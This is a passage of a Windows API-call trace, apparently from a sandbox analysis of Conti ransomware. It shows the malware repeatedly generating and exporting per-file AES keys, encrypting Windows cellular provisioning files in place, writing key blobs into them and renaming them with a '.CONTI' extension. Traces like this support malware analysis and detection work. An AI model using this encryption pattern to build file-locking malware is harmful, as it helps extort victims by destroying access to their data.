	[0109.687] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0109.687] GetLastError () returned 0x0
	[0109.687] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=721) returned 1
	[0109.687] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0109.687] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.687] SetEndOfFile (hFile=0x378) returned 1
	[0109.687] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.687] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.688] WriteFile (in: hFile=0x378, lpBuffer=0x17d48cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d48cc*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.689] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.689] ReadFile (in: hFile=0x378, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2d1, lpOverlapped=0x0) returned 1
	[0109.689] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2d1, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2e0) returned 1
	[0109.689] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.689] WriteFile (in: hFile=0x378, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.690] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.690] WriteFile (in: hFile=0x378, lpBuffer=0x17d48c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d48c0*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0109.690] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.690] CloseHandle (hObject=0x378) returned 1
	[0109.690] GetProcessHeap () returned 0x1720000
	[0109.690] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65c4748
	[0109.690] lstrcpyW (in: lpString1=0x65c4748, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml"
	[0109.690] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.690] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.691] GetProcessHeap () returned 0x1720000
	[0109.691] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4748 | out: hHeap=0x1720000) returned 1
	[0109.691] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0109.691] GetProcessHeap () returned 0x1720000
	[0109.691] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fb208 | out: hHeap=0x1720000) returned 1
	[0109.691] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0109.691] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x6b7f038) returned 1
	[0109.691] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x3f7fc54 | out: pbData=0x17d5434*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0109.692] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.692] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0109.692] GetLastError () returned 0x0
	[0109.692] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=710) returned 1
	[0109.692] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c6
	[0109.692] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.692] SetEndOfFile (hFile=0x378) returned 1
	[0109.692] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.692] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.692] WriteFile (in: hFile=0x378, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.694] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.694] ReadFile (in: hFile=0x378, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2c6, lpOverlapped=0x0) returned 1
	[0109.694] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2c6, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2d0) returned 1
	[0109.694] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.694] WriteFile (in: hFile=0x378, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.694] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.694] WriteFile (in: hFile=0x378, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0109.695] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.695] CloseHandle (hObject=0x378) returned 1
	[0109.695] GetProcessHeap () returned 0x1720000
	[0109.695] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65c4748
	[0109.695] lstrcpyW (in: lpString1=0x65c4748, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml"
	[0109.695] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.695] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.695] GetProcessHeap () returned 0x1720000
	[0109.696] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4748 | out: hHeap=0x1720000) returned 1
	[0109.696] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0109.696] GetProcessHeap () returned 0x1720000
	[0109.696] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f9478 | out: hHeap=0x1720000) returned 1
	[0109.696] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0109.696] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x6b7f038) returned 1
	[0109.696] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x3f7fc54 | out: pbData=0x17d567c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0109.696] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.697] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0109.697] GetLastError () returned 0x0
	[0109.697] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=865) returned 1
	[0109.697] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x361
	[0109.697] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.697] SetEndOfFile (hFile=0x378) returned 1
	[0109.697] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.697] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.697] WriteFile (in: hFile=0x378, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.699] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.699] ReadFile (in: hFile=0x378, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x361, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x361, lpOverlapped=0x0) returned 1
	[0109.699] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x361, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x370) returned 1
	[0109.699] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.699] WriteFile (in: hFile=0x378, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x370, lpOverlapped=0x0) returned 1
	[0109.700] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.700] WriteFile (in: hFile=0x378, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0109.700] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.700] CloseHandle (hObject=0x378) returned 1
	[0109.700] GetProcessHeap () returned 0x1720000
	[0109.700] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65c4748
	[0109.700] lstrcpyW (in: lpString1=0x65c4748, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml"
	[0109.700] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.700] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.701] GetProcessHeap () returned 0x1720000
	[0109.701] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4748 | out: hHeap=0x1720000) returned 1
	[0109.701] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0109.701] GetProcessHeap () returned 0x1720000
	[0109.701] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17de878 | out: hHeap=0x1720000) returned 1
	[0109.701] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0109.701] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x6b7f6b8) returned 1
	[0109.701] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x3f7fc54 | out: pbData=0x17d5f9c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0109.702] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.702] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0109.702] GetLastError () returned 0x0
	[0109.702] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=872) returned 1
	[0109.702] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x368
	[0109.702] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.702] SetEndOfFile (hFile=0x378) returned 1
	[0109.702] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.702] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.703] WriteFile (in: hFile=0x378, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.706] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.706] ReadFile (in: hFile=0x378, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x368, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x368, lpOverlapped=0x0) returned 1
	[0109.706] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x368, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x370) returned 1
	[0109.706] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.706] WriteFile (in: hFile=0x378, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x370, lpOverlapped=0x0) returned 1
	[0109.706] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.706] WriteFile (in: hFile=0x378, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0109.706] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.706] CloseHandle (hObject=0x378) returned 1
	[0109.706] GetProcessHeap () returned 0x1720000
	[0109.706] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65c4748
